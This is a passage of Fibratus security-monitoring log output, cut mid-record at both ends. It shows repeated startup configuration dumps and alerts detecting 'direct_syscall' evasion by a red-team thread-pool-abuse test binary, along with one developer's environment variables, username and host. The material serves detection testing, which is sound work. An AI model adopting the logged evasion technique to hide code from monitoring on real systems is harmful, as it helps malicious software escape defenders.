VCToolsInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\ VCToolsRedistDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Redist\MSVC\14.36.32532\ VCToolsVersion:14.36.32532 VS170COMNTOOLS:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\ VSCMD_ARG_HOST_ARCH:x86 VSCMD_ARG_TGT_ARCH:x86 VSCMD_ARG_app_plat:Desktop VSCMD_VER:17.6.4 VSINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\ VisualStudioVersion:17.0 WSLENV:WT_SESSION:WT_PROFILE_ID: WT_PROFILE_ID:{61c54bbd-c2c6-5271-96e7-009a87ff44bf} WT_SESSION:1ac3e6d4-3a08-4fad-b7a0-1c3cc07a4f62 WindowsLibPath:C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0 WindowsSDKLibVersion:10.0.22621.0\ WindowsSDKVersion:10.0.22621.0\ WindowsSdkBinPath:C:\Program Files (x86)\Windows Kits\10\bin\ WindowsSdkDir:C:\Program Files (x86)\Windows Kits\10\ WindowsSdkVerBinPath:C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\ _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols __DOTNET_ADD_32BIT:1 __DOTNET_PREFERRED_BITNESS:32 __VSCMD_PREINIT_PATH:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin windir:C:\WINDOWS] + + ] and callstack [0x7ff78efd10e6 C:\Fibratus\redteam\threadpool-abuse\main.exe!?|0x7ff78efd13b0 C:\Fibratus\redteam\threadpool-abuse\main.exe!?|0x7fff6941e8d7 C:\Windows\System32\kernel32.dll!BaseThreadInitThunk|0x7fff6984c53c C:\Windows\System32\ntdll.dll!RtlUserThreadStart] source=evasion/scanner.go:68 +time=2025-11-24T17:28:35+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-24T17:28:36+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:285 +time=2025-11-24T17:28:36+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:285 +time=2025-11-24T17:29:44+01:00 level=info msg=rule engine is disabled source=bootstrap/bootstrap.go:153 +time=2025-11-24T17:29:44+01:00 level=info msg=bootstrapping with pid 19124. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-11-24T17:29:44+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-timeout=>4s flush-period=>500ms] + alertsenders ................... [ mail=>[ to=>[] port=>25 content-type=>text/html use-template=>true enabled=>false] eventlog=>[ enabled=>true verbose=>true] slack=>[ enabled=>false] systray=>[ quiet-mode=>false enabled=>false sound=>true]] + api ............................ [ timeout=>5s transport=>localhost:8482] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enable-direct-syscall=>true enabled=>true] + event .......................... [ serialize-envs=>true serialize-threads=>false serialize-handles=>false serialize-pe=>false serialize-images=>false] + eventsource .................... [ enable-threadpool=>true enable-audit-api=>true enable-image=>true min-buffers=>16 flush-interval=>1s enable-thread=>true enable-mem=>false enable-net=>true enable-handle=>false enable-fileio=>true enable-dns=>false stack-enrichment=>true blacklist=>[ images=>[] events=>[CloseFile RegCloseKey]] enable-vamap=>true enable-registry=>true max-buffers=>36 buffer-size=>512] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]] rules=>[ enabled=>true from-paths=>[C:\Fibratus\fibratus\rules\*.yml] from-urls=>[]] match-all=>true] + forward ........................ true + handle ......................... [ enumerate-handles=>false init-snapshot=>false] + logging ........................ [ level=>info max-age=>0 formatter=>text max-backups=>15 max-size=>100 log-stdout=>true] + output ......................... [ amqp=>[ enabled=>false tls-insecure-skip-verify=>false passive=>false exchange=>fibratus url=>amqp://localhost:5672 vhost=>/ delivery-mode=>transient durable=>false timeout=>5s exchange-type=>topic routing-key=>fibratus] eventlog=>[ enabled=>false level=>info] console=>[ template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} {{ .Cmd }} + enabled=>true format=>pretty] http=>[ method=>POST tls-insecure-skip-verify=>false serializer=>json timeout=>5s endpoints=>[] enable-gzip=>false enabled=>false] elasticsearch=>[ healthcheck-interval=>10s gzip-compression=>false trace-log=>false sniff=>false healthcheck-timeout=>5s timeout=>5s servers=>[http://127.0.0.1:9200] enabled=>false flush-period=>1s bulk-workers=>1 index-name=>fibratus healthcheck=>true template-name=>fibratus]] + pe ............................. [ excluded-images=>[svchost.exe] read-symbols=>false read-sections=>false enabled=>false read-resources=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ trim=>[ enabled=>false] replace=>[ enabled=>false] tags=>[ enabled=>false] rename=>[ enabled=>false] remove=>[ params=>[] enabled=>false]] + yara ........................... [ fastscan=>true skip-mmaps=>false excluded-procs=>[] scan-timeout=>10s excluded-files=>[] skip-files=>false skip-allocs=>false enabled=>false rule=>[ strings=>[map[namespace: string:]] paths=>[map[namespace: path:]]] skip-registry=>false] source=bootstrap/bootstrap.go:185 +time=2025-11-24T17:29:44+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:269 +time=2025-11-24T17:29:46+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:269 +time=2025-11-24T17:29:53+01:00 level=info msg=detected evasion "direct_syscall" on event [ + Seq: 1872707 + Pid: 15660 + Tid: 19724 + Type: SubmitThreadpoolWork + CPU: 2 + Name: SubmitThreadpoolWork + Category: threadpool + Description: Enqueues the work item to the thread pool + Host: archrabbit + Timestamp: 2025-11-24 17:29:53.4384755 +0100 CET + Params: callback➜ 7ff78efd1000, callback_module➜ C:\Fibratus\redteam\threadpool-abuse\main.exe, context➜ 0, pool_id➜ 27f1c5d1a80, subprocess_tag➜ 0, task_id➜ 27f1c5e3aa8 + Metadata: evasions: [direct_syscall] + + Pid: 15660 + Ppid: 17152 + Name: main.exe + Parent name: powershell.exe + Cmdline: "C:\Fibratus\redteam\threadpool-abuse\main.exe" + Parent cmdline: C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe + Exe: C:\Fibratus\redteam\threadpool-abuse\main.exe + Cwd: C:\Fibratus\redteam\threadpool-abuse\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: HIGH + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Fibratus\redteam\threadpool-abuse\main.exe"] + Session ID: 1 + Envs: map[ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming COMPUTERNAME:ARCHRABBIT CONDA_PROMPT_MODIFIER:False ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommandPromptType:Native CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DevEnvDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\ DriverData:C:\Windows\System32\Drivers\DriverData EXTERNAL_INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt ExtensionSdkDir:C:\Program Files (x86)\Microsoft SDKs\Windows Kits\10\ExtensionSDKs Framework40Version:v4.0 FrameworkDir:C:\Windows\Microsoft.NET\Framework\ FrameworkDir32:C:\Windows\Microsoft.NET\Framework\ FrameworkVersion:v4.0.30319 FrameworkVersion32:v4.0.30319 GOPATH:C:\Users\nedo\go HOMEDRIVE:C: HOMEPATH:\Users\nedo INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt JAVA_HOME:C:\Program Files\Jdk11 LIB:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files (x86)\Windows Kits\10\lib\10.0.22621.0\ucrt\x86;C:\Program Files (x86)\Windows Kits\10\\lib\10.0.22621.0\\um\x86 LIBPATH:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86\store\references;C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0;C:\Windows\Microsoft.NET\Framework\v4.0.30319 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT NUMBER_OF_PROCESSORS:8 OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY;.CPL POSH_GIT_ENABLED:False POSH_THEME:C:\Posh-Themes\spaceship.json POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes POWERLINE_COMMAND:oh-my-posh PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PROMPT:$P$G PSModulePath:C:\Users\nedo\Documents\WindowsPowerShell\Modules;C:\Program Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\bin\HostX86\x86;C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\\x86;C:\Program Files (x86)\Windows Kits\10\bin\\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\\MSBuild\Current\Bin\amd64;C:\Windows\Microsoft.NET\Framework\v4.0.30319;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\;C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SESSIONNAME:Console SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp UCRTVersion:10.0.22621.0 USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo UniversalCRTSdkDir:C:\Program Files (x86)\Windows Kits\10\ VCIDEInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\VC\ VCINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\ VCToolsInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\ VCToolsRedistDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Redist\MSVC\14.36.32532\ VCToolsVersion:14.36.32532 VS170COMNTOOLS:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\ VSCMD_ARG_HOST_ARCH:x86 VSCMD_ARG_TGT_ARCH:x86 VSCMD_ARG_app_plat:Desktop VSCMD_VER:17.6.4 VSINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\ VisualStudioVersion:17.0 WSLENV:WT_SESSION:WT_PROFILE_ID: WT_PROFILE_ID:{61c54bbd-c2c6-5271-96e7-009a87ff44bf} WT_SESSION:1ac3e6d4-3a08-4fad-b7a0-1c3cc07a4f62 WindowsLibPath:C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0 WindowsSDKLibVersion:10.0.22621.0\ WindowsSDKVersion:10.0.22621.0\ WindowsSdkBinPath:C:\Program Files (x86)\Windows Kits\10\bin\ WindowsSdkDir:C:\Program Files (x86)\Windows Kits\10\ WindowsSdkVerBinPath:C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\ _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols __DOTNET_ADD_32BIT:1 __DOTNET_PREFERRED_BITNESS:32 __VSCMD_PREINIT_PATH:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin windir:C:\WINDOWS] + + ] and callstack [0x7ff78efd10e6 C:\Fibratus\redteam\threadpool-abuse\main.exe!?|0x7ff78efd13b0 C:\Fibratus\redteam\threadpool-abuse\main.exe!?|0x7fff6941e8d7 C:\Windows\System32\kernel32.dll!BaseThreadInitThunk|0x7fff6984c53c C:\Windows\System32\ntdll.dll!RtlUserThreadStart] source=evasion/scanner.go:68 +time=2025-11-24T17:30:02+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-24T17:30:02+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:285 +time=2025-11-24T17:30:03+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:285 +time=2025-11-24T17:33:21+01:00 level=info msg=rule engine is disabled source=bootstrap/bootstrap.go:153 +time=2025-11-24T17:33:21+01:00 level=info msg=bootstrapping with pid 20228. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-11-24T17:33:21+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-timeout=>4s flush-period=>500ms] + alertsenders ................... [ systray=>[ quiet-mode=>false enabled=>false sound=>true] slack=>[ enabled=>false] mail=>[ to=>[] content-type=>text/html enabled=>false use-template=>true port=>25] eventlog=>[ verbose=>true enabled=>true]] + api ............................ [ timeout=>5s transport=>localhost:8482] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enable-direct-syscall=>true enabled=>true] + event .......................... [ serialize-threads=>false serialize-envs=>true serialize-handles=>false serialize-images=>false serialize-pe=>false] + eventsource .................... [ enable-net=>true enable-mem=>false max-buffers=>36 stack-enrichment=>true enable-threadpool=>true enable-image=>true flush-interval=>1s enable-vamap=>true enable-fileio=>true buffer-size=>512 enable-handle=>false enable-dns=>false blacklist=>[ events=>[CloseFile RegCloseKey] images=>[]] enable-audit-api=>true min-buffers=>16 enable-registry=>true enable-thread=>true] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]] rules=>[ enabled=>true from-paths=>[C:\Fibratus\fibratus\rules\*.yml] from-urls=>[]] match-all=>true] + forward ........................ true + handle ......................... [ init-snapshot=>false enumerate-handles=>false] + logging ........................ [ log-stdout=>true max-size=>100 max-backups=>15 level=>info max-age=>0 formatter=>text] + output ......................... [ elasticsearch=>[ bulk-workers=>1 timeout=>5s gzip-compression=>false template-name=>fibratus healthcheck-timeout=>5s enabled=>false servers=>[http://127.0.0.1:9200] healthcheck=>true healthcheck-interval=>10s trace-log=>false index-name=>fibratus sniff=>false flush-period=>1s] console=>[ format=>pretty template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} {{ .Cmd }} + enabled=>true] http=>[ timeout=>5s enabled=>false method=>POST tls-insecure-skip-verify=>false serializer=>json endpoints=>[] enable-gzip=>false] amqp=>[ durable=>false exchange=>fibratus vhost=>/ delivery-mode=>transient tls-insecure-skip-verify=>false passive=>false enabled=>false url=>amqp://localhost:5672 timeout=>5s exchange-type=>topic routing-key=>fibratus] eventlog=>[ level=>info enabled=>false]] + pe ............................. [ enabled=>false read-symbols=>false read-sections=>false read-resources=>false excluded-images=>[svchost.exe]] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ remove=>[ enabled=>false params=>[]] tags=>[ enabled=>false] trim=>[ enabled=>false] rename=>[ enabled=>false] replace=>[ enabled=>false]] + yara ........................... [ excluded-files=>[] scan-timeout=>10s skip-mmaps=>false excluded-procs=>[] enabled=>false fastscan=>true rule=>[ strings=>[map[namespace: string:]] paths=>[map[namespace: path:]]] skip-files=>false skip-allocs=>false skip-registry=>false] source=bootstrap/bootstrap.go:185 +time=2025-11-24T17:33:21+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:269 +time=2025-11-24T17:33:23+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:269 +time=2025-11-24T17:33:27+01:00 level=info msg=detected evasion "direct_syscall" on event [ + Seq: 1882884 + Pid: 4188 + Tid: 16684 + Type: SubmitThreadpoolWork + CPU: 2 + Name: SubmitThreadpoolWork + Category: threadpool + Description: Enqueues the work item to the thread pool + Host: archrabbit + Timestamp: 2025-11-24 17:33:27.4835654 +0100 CET + Params: callback➜ 7ff78efd1000, callback_module➜ C:\Fibratus\redteam\threadpool-abuse\main.exe, context➜ 0, pool_id➜ 276aad21a80, subprocess_tag➜ 0, task_id➜ 276aad33aa8 + Metadata: evasions: [direct_syscall] + + Pid: 4188 + Ppid: 17152 + Name: main.exe + Cmdline: + Exe: C:\Fibratus\redteam\threadpool-abuse\main.exe + Cwd: + SID: + Integrity level: HIGH + Username: + Domain: + Args: [] + Session ID: 0 + Envs: map[] + + ] and callstack [0x7ff78efd10e6 C:\Fibratus\redteam\threadpool-abuse\main.exe!?|0x7ff78efd13b0 C:\Fibratus\redteam\threadpool-abuse\main.exe!?|0x7fff6941e8d7 C:\Windows\System32\kernel32.dll!BaseThreadInitThunk|0x7fff6984c53c C:\Windows\System32\ntdll.dll!RtlUserThreadStart] source=evasion/scanner.go:68 +time=2025-11-24T17:33:36+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-24T17:33:36+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:285 +time=2025-11-24T17:33:36+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:285 +time=2025-11-24T17:34:20+01:00 level=info msg=rule engine is disabled source=bootstrap/bootstrap.go:153 +time=2025-11-24T17:34:20+01:00 level=info msg=bootstrapping with pid 21920. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-11-24T17:34:20+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-period=>500ms flush-timeout=>4s] + alertsenders ................... [ slack=>[ enabled=>false] eventlog=>[ verbose=>true enabled=>true] mail=>[ content-type=>text/html enabled=>false port=>25 use-template=>true to=>[]] systray=>[ enabled=>false sound=>true quiet-mode=>false]] + api ............................ [ timeout=>5s transport=>localhost:8482] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enable-direct-syscall=>true enabled=>true] + event .......................... [ serialize-images=>false serialize-handles=>false serialize-envs=>true serialize-threads=>false serialize-pe=>false] + eventsource .................... [ enable-thread=>true enable-audit-api=>true enable-dns=>false enable-vamap=>true stack-enrichment=>true min-buffers=>16 enable-registry=>true enable-fileio=>true flush-interval=>1s enable-threadpool=>true enable-mem=>false enable-net=>true blacklist=>[ events=>[CloseFile RegCloseKey] images=>[]] buffer-size=>512 max-buffers=>36 enable-image=>true enable-handle=>false] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ rules=>[ from-paths=>[C:\Fibratus\fibratus\rules\*.yml] enabled=>true from-urls=>[]] match-all=>true macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]]] + forward ........................ true + handle ......................... [ init-snapshot=>false enumerate-handles=>false] + logging ........................ [ formatter=>text max-backups=>15 log-stdout=>true max-size=>100 level=>info max-age=>0] + output ......................... [ console=>[ format=>pretty template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} {{ .Cmd }} + enabled=>true] http=>[ enable-gzip=>false enabled=>false endpoints=>[] serializer=>json method=>POST timeout=>5s tls-insecure-skip-verify=>false] elasticsearch=>[ healthcheck-interval=>10s servers=>[http://127.0.0.1:9200] gzip-compression=>false trace-log=>false healthcheck=>true healthcheck-timeout=>5s sniff=>false template-name=>fibratus index-name=>fibratus bulk-workers=>1 enabled=>false timeout=>5s flush-period=>1s] amqp=>[ url=>amqp://localhost:5672 tls-insecure-skip-verify=>false enabled=>false timeout=>5s durable=>false passive=>false delivery-mode=>transient vhost=>/ exchange-type=>topic routing-key=>fibratus exchange=>fibratus] eventlog=>[ level=>info enabled=>false]] + pe ............................. [ enabled=>false read-symbols=>false read-sections=>false excluded-images=>[svchost.exe] read-resources=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ remove=>[ enabled=>false params=>[]] trim=>[ enabled=>false] rename=>[ enabled=>false] tags=>[ enabled=>false] replace=>[ enabled=>false]] + yara ........................... [ fastscan=>true enabled=>false rule=>[ strings=>[map[namespace: string:]] paths=>[map[namespace: path:]]] scan-timeout=>10s excluded-files=>[] excluded-procs=>[] skip-files=>false skip-mmaps=>false skip-allocs=>false skip-registry=>false] source=bootstrap/bootstrap.go:185 +time=2025-11-24T17:34:21+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:269 +time=2025-11-24T17:34:23+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:269 +time=2025-11-24T17:34:25+01:00 level=info msg=detected evasion "direct_syscall" on event [ + Seq: 1893688 + Pid: 17780 + Tid: 3584 + Type: SubmitThreadpoolWork + CPU: 5 + Name: SubmitThreadpoolWork + Category: threadpool + Description: Enqueues the work item to the thread pool + Host: archrabbit + Timestamp: 2025-11-24 17:34:24.9699388 +0100 CET + Params: callback➜ 7ff78efd1000, callback_module➜ C:\Fibratus\redteam\threadpool-abuse\main.exe, context➜ 0, pool_id➜ 2087a1a1a80, subprocess_tag➜ 0, task_id➜ 2087a1b3aa8 + Metadata: evasions: [direct_syscall] + + Pid: 17780 + Ppid: 17152 + Name: main.exe + Cmdline: + Exe: C:\Fibratus\redteam\threadpool-abuse\main.exe + Cwd: + SID: + Integrity level: HIGH + Username: + Domain: + Args: [] + Session ID: 0 + Envs: map[] + + ] and callstack [0x7ff78efd10e6 C:\Fibratus\redteam\threadpool-abuse\main.exe!?|0x7ff78efd13b0 C:\Fibratus\redteam\threadpool-abuse\main.exe!?|0x7fff6941e8d7 C:\Windows\System32\kernel32.dll!BaseThreadInitThunk|0x7fff6984c53c C:\Windows\System32\ntdll.dll!RtlUserThreadStart] source=evasion/scanner.go:68 +time=2025-11-24T17:35:09+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-24T17:35:09+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:285 +time=2025-11-24T17:35:09+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:285 +time=2025-11-24T17:35:31+01:00 level=info msg=rule engine is disabled source=bootstrap/bootstrap.go:153 +time=2025-11-24T17:35:31+01:00 level=info msg=bootstrapping with pid 10864. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-11-24T17:35:31+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-period=>500ms flush-timeout=>4s] + alertsenders ................... [ slack=>[ enabled=>false] mail=>[ port=>25 content-type=>text/html use-template=>true enabled=>false to=>[]] eventlog=>[ enabled=>true verbose=>true] systray=>[ enabled=>false sound=>true quiet-mode=>false]] + api ............................ [ timeout=>5s transport=>localhost:8482] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enabled=>true enable-direct-syscall=>true] + event .......................... [ serialize-images=>false serialize-threads=>false serialize-handles=>false serialize-pe=>false serialize-envs=>true] + eventsource .................... [ enable-vamap=>true enable-audit-api=>true enable-thread=>true stack-enrichment=>true blacklist=>[ events=>[CloseFile RegCloseKey] images=>[]] min-buffers=>16 flush-interval=>1s enable-net=>true enable-registry=>true enable-mem=>false enable-dns=>false enable-image=>true max-buffers=>36 enable-threadpool=>true enable-fileio=>true enable-handle=>false buffer-size=>512] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ rules=>[ from-urls=>[] 